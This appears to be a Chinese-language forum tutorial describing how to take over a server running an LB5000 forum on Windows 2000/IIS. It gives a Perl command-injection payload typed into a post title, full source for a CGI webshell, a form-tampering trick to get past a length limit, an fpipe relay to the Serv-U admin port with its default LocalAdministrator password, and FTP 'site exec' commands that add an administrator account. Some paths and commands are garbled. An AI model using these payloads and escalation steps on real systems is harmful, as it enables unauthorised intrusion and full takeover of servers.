目标服务器配置:/Windows2000/ /IIS5.0/ /MSSQL/ /MYSQL/ /SERV-U 4.0.1/
/ACTIVEPERL/
服务器权限设置:EVERYONE /完全控制/
服务器补丁情况:系统 /SP4/ MSSQL /SP3/
其实这篇文章没有什么技术含量,只是想把一些好的思路跟大家分享出来!
想必大家都知道LB论坛吧?我就不对其论坛及漏洞做过多的介绍了!
首先我们来注册一个帐户,然后我们随便找个版块发表一个文章!
在标题栏上输入and system('dir c:')#
OK!发表成*后,在地址栏处有相应文章ID
http://127.0.0.1/cgi-bin/topic.cgi?forum=1&topic=1
我们修改连接地址然后在地址栏提交此URL,就会触发此漏洞!如下:
http://127.0.0.1/cgi-bin/forum1/1.pl
呵呵,看到什么了吗?
-----------------------------
CGI Error
The specified CGI application misbehaved by not returning a
complete set of HTTP headers. The headers it did return are:
Can't find string terminator "'" anywhere before EOF at
D:bbscgi-binforum11.pl line 1.
-----------------------------
恩,这样我们就得到了论坛在目标服务器上的本地路径!
OK,接下来我们要通过此漏洞得到一个WEBSHELL,WEBSHELL的代码如下:
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/htmlrnrn", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f///ig;
$execthis = $_;
syswrite(STDOUT, "<HTML<PRErn", 13);
open(STDERR, "&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "rn</PRE</HTMLrn", 17);
close(STDERR);
close(STDOUT);
exit;
我们把它保存为*.txt文件!保存后,进帖子,我们上传,上传类型选择TXT!
上传完毕后,我们看看这个小东东的地址是什么!
http://127.0.0.1/non-cgi/usr/1/1_1.txt
这就是我们的CGI网页木马了!我们通过标题栏来把这个txt文件改为*.cgi的!
编辑自己的帖子!
and system('ren d:bbsnon-cgiusr11_1.txt cmd.cgi')#
这里要说明一下!如果论坛的路径设置的很深(比如:d:webhostwwwwebsitehost1bbslb5000non-cgiusr11_1.txt)
我们就无法进行改名,因为标题栏处有限制,不可以超过40个汉字,路径太长!怎么办?别着急!看下面!
我们先把编辑帖子的页面保存下来!用记事本打开保存的*.htm文件!找到提交标题栏的form表单!
<FORM name=FORM action=editpost.cgi method=post
encType=multipart/form-data
/我们把action提交的页面修改成editpost.cgi在目标服务器的URL地址:
/<FORM name=FORM action=http://127.0.0.1/cgi-bin/editpost.cgi
method=post encType=multipart/form-data
……代码省略……
<TD bgColor=#f4faed<INPUT maxLength=80 size=60
value=这里就是关键,我们在这里填入要提交的表单!
name=newtopictitle
不得超过 40 个汉字</TD
……代码省略……
</FORM
这样就可以了,保存,双击打开它,然后点“发表”!就OK了!
提交后我们来执行!
http://127.0.0.1/cgi-bin/forum1/1.pl
刷新一下就可以了!我们来看看有没有执行成*?!
http://127.0.0.1/non-cgi/usr/1/cmd.cgi
哈哈,是不是已经可以了?到此,我们就已经得到了一个WEBSHELL,我们来看看服务器的情况
http://127.0.0.1/non-cgi/usr/1/cmd.cgi?net ;start
有终端,且安装了SERV-U(据我了解70%以上的服务器都有安装它)这个软件说好也好,说不好也不好!
好就好在它很实用,不好在于它的漏洞很多,这不!SERV-U5.0现在都可以溢出。。。建议大家都别用它了!
继续!我对这个CGI的后门不太喜欢,所以,我这里用ASP的后门!用同样的方法来上传一个ASP后门(我用的是海阳顶端网ASP木马)
http://127.0.0.1/non-cgi/usr/1/cmd.asp
呵呵!接下来我们利用SERV-U来获得SYSTEM权限的帐户!
我们登陆ASP后门!进入d:bbsnon-cgiusr1目录下,我们需要一个小东西-FPIPE.EXE,这个东西不用介绍了吧?!呵呵~?
把它传到此目录下!传好后,咱们来执行它!在ASP目录里执行!
d:bbsnon-cgiusr1fpipe -v -l 19739 -r 43958 127.0.0.1
好!监听端口19739,打开你本地SERV-U添加一台服务器,来连接19739!
填上服务器IP,监听端口号19739,填上帐户和密码!
user:LocalAdministrator
pass:#l@$ak#.lk;0@P
全部搞定后,来连接SERV-U,连接成*后,我们就对此服务器的SERV-U有了完全控制权限!
我们建立一个FTP帐户:
user:admin
pass:caozhe
把帐户的连接路径设置在系统盘下(例如C:)!帐户权限全部分配(最好还提升至系统管理员)
然后,我们打开CMD!
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985-2003 Microsoft Corp.
C:Documents and SettingsAdministratorftp
ftpopen 127.0.0.1
Connected to ip.
220 Serv-U FTP Server v4.0.1 for WinSock ready...
User (ip:(none)):admin /我们刚建立的帐户名
331 User name okay, please send complete E-mail address as
password.
Password:caozhe /密码
230 User logged in, proceed.
ftp cd winntsystem32 /进入系统的winntsystem32目录下
250 Directory changed to /WINNT/system32
ftpquote site exec net.exe user admin caozhe /add
/利用NET.EXE建立帐户
200 EXEC command successful (TID=33).
ftpquote site exec net.exe localhost administrators admin
/add /把admin帐户加到管理员组
200 EXEC command successful (TID=33).